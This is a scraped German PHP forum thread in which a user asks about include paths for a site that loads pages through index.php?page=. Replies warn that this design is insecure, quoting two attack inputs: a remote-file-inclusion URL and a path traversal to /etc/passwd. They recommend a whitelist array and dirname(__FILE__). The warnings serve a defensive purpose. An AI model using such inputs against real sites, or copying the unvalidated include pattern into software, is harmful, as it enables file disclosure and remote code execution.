Einbinden von Seiten, die Includes enthalten, Pfad probleme.

09.03.2006, 16:30

Hallo
Ich habe ein Problem mit dein einbinden von meinem Download-Script in meine Homepage.

Meine Index-Seite besteht aus einem einfachem Script, das die Seite includet die als variable an denn Link angefügt wurde.

z.B. index.php?page=news.php

Das klappt an sich auch alles sehr gut. (oder ist das eine „dumme“ Lösung ? )
Nun möchte ich mein eigenes Downloadscript includen:
index.php?page=script/down/download.php

Das Problem ist nun, dass die Links und Includes der download.php von /down/ Verzeichnis ausgehen, wegen des includes „befindet“ sich die Datei aber im RootHome verzeichniss.

Nun könnte ich alle Pfade per Hand abändern, aber das erscheint mir eine etwas „unschöne“ Lösung zu sein.

Gibt es (außer Iframes) eine angenehme Möglichkeit wie man es Lösen könnte?

LG Homwer

09.03.2006, 16:38

Zitat:

Das klappt an sich auch alles sehr gut. (oder ist das eine „dumme“ Lösung ? )

Antwort:

Zitat:

index.php?page=http://www.domain.de/bösesscript.txt

Zitat:

index.php?page=../../../../../etc/passwd

Spyker · 09.03.2006, 16:41

den basis Pfad von einer Seite am besten immer in einer Konstante aufbewahren und überall davor setzen....

Irgentwie must du auch noch das oben beschrieben prob von clan umgehen.

und wenn du nur php dateien inlcudest dann lass das aus der URL und nimm es mit in die includeanweisung.

dann werden die URL´s kürzer (immerhin 4 Zeichen) und das oben beschrieben Prob ist schon einmal auf PHP Dateien beschränkt.. (reicht aber nicht).

beste,
Tim

mepeisen · 09.03.2006, 16:59

Prinzipiell ist die Lösung schlecht, weil sie eine Angriffsfläche bietet. Du könntest theoretisch dort Dateien angeben, die Passwörter enthalten usw.

Besser ist beispielsweise das Angeben eines Namens, der dann für ein Script steht, beispielsweise "down" für "script/down/download.php". Mittels eines Arrays kann man herausfinden, welche Datei hinter einem Namen steht. Ist der Name nicht im Array enthalten gibst du einen Fehler aus...

Zu deiner eigentlichen Frage: Eine relativ einfache und geschickte Lösung ist, wenn du die Pfade relativ zum Urpsrung angibst. Beispiel für deine download.php:

PHP-Code:

  <?php

$path = dirname(__FILE__);

include($path.'/script.php'); // gleiches Verzeichnis wie download.php

include($path.'/../script.php'); // eins drüber

?>

Musst natürlkich dafür sprgen, dass die kein anderes Script dein $path überschreibt...

09.03.2006, 19:10

Zitat:

Zitat von Clan

Zitat:

index.php?page=../../../../../etc/passwd

Geht nicht, weil safe mode = on

Das die Methode gewisse riesiken birgt ist mir klar, es geht im momment eigentlich auch nur darum wie ich am besten die anderen seiten einbinde auch wenn die Pfade so blöde sind.

Themen-Optionen
Druckbare Version zeigen Jemanden per E-Mail auf dieses Thema hinweisen
Thema bewerten
Thema bewerten:

Ähnliche Themen
Thema	Autor	Forum	Antworten	Letzter Beitrag
Oracle probleme beim einbinden der php_oci8.dll		PHP Tipps 2007	20	25.11.2005 16:21
Probleme beim einbinden von FCKeditor		PHP Tipps 2005-2	2	15.09.2005 23:42
Einbinden von PHP Grafiken auf anderen Seiten nachvollziehen		PHP Tipps 2005-2	7	07.07.2005 01:57
Probleme beim (verlinken) von php seiten		PHP Tipps 2005-2	3	01.07.2005 15:19
Probleme mit Pfad zum Datei hochladen		PHP Tipps 2005-2	6	13.06.2005 13:26
Seiten mit include einbinden !!!		PHP Tipps 2005	6	06.05.2005 10:56
Probleme beim erstellen und einbinden eines favicon !!		HTML, Usability und Barrierefreiheit	1	20.03.2005 18:15
[Erledigt] externe Seiten einbinden		HTML, Usability und Barrierefreiheit	6	03.11.2004 19:14
Seiten einbinden		HTML, Usability und Barrierefreiheit	4	13.09.2004 15:04

09.03.2006, 16:30
Gast Beiträge: n/a	Einbinden von Seiten, die Includes enthalten, Pfad probleme. Hallo Ich habe ein Problem mit dein einbinden von meinem Download-Script in meine Homepage. Meine Index-Seite besteht aus einem einfachem Script, das die Seite includet die als variable an denn Link angefügt wurde. z.B. index.php?page=news.php Das klappt an sich auch alles sehr gut. (oder ist das eine „dumme“ Lösung ? ) Nun möchte ich mein eigenes Downloadscript includen: index.php?page=script/down/download.php Das Problem ist nun, dass die Links und Includes der download.php von /down/ Verzeichnis ausgehen, wegen des includes „befindet“ sich die Datei aber im RootHome verzeichniss. Nun könnte ich alle Pfade per Hand abändern, aber das erscheint mir eine etwas „unschöne“ Lösung zu sein. Gibt es (außer Iframes) eine angenehme Möglichkeit wie man es Lösen könnte? LG Homwer


Mister Ad PHP Code Flüsterer Registriert seit: 21.08.2005 Beiträge: 4682 PHP-Kenntnisse: Fortgeschritten

09.03.2006, 16:41
Spyker Erfahrener Benutzer Registriert seit: 21.08.2003 Beiträge: 468	den basis Pfad von einer Seite am besten immer in einer Konstante aufbewahren und überall davor setzen.... Irgentwie must du auch noch das oben beschrieben prob von clan umgehen. und wenn du nur php dateien inlcudest dann lass das aus der URL und nimm es mit in die includeanweisung. dann werden die URL´s kürzer (immerhin 4 Zeichen) und das oben beschrieben Prob ist schon einmal auf PHP Dateien beschränkt.. (reicht aber nicht). beste, Tim __________________ Typo3 Suchmaschinenoptimierung <- alles Rund um SEO mit Typo3

09.03.2006, 16:59
mepeisen Erfahrener Benutzer Registriert seit: 21.12.2004 Beiträge: 5.235 PHP-Kenntnisse: Fortgeschritten	Prinzipiell ist die Lösung schlecht, weil sie eine Angriffsfläche bietet. Du könntest theoretisch dort Dateien angeben, die Passwörter enthalten usw. Besser ist beispielsweise das Angeben eines Namens, der dann für ein Script steht, beispielsweise "down" für "script/down/download.php". Mittels eines Arrays kann man herausfinden, welche Datei hinter einem Namen steht. Ist der Name nicht im Array enthalten gibst du einen Fehler aus... Zu deiner eigentlichen Frage: Eine relativ einfache und geschickte Lösung ist, wenn du die Pfade relativ zum Urpsrung angibst. Beispiel für deine download.php: PHP-Code: `<?php $path = dirname(__FILE__); include($path.'/script.php'); // gleiches Verzeichnis wie download.php include($path.'/../script.php'); // eins drüber ?>` Musst natürlkich dafür sprgen, dass die kein anderes Script dein $path überschreibt... __________________ www.php-maven.org PHP und Maven vereint: Build/Deploy/Produktion/Konfiguration, Projekt Management, CI, PHPUnit, zahlreiche Frameworks Twitter @ https://twitter.com/#!/mepeisen und Facebook @ http://t.co/DZnKSUih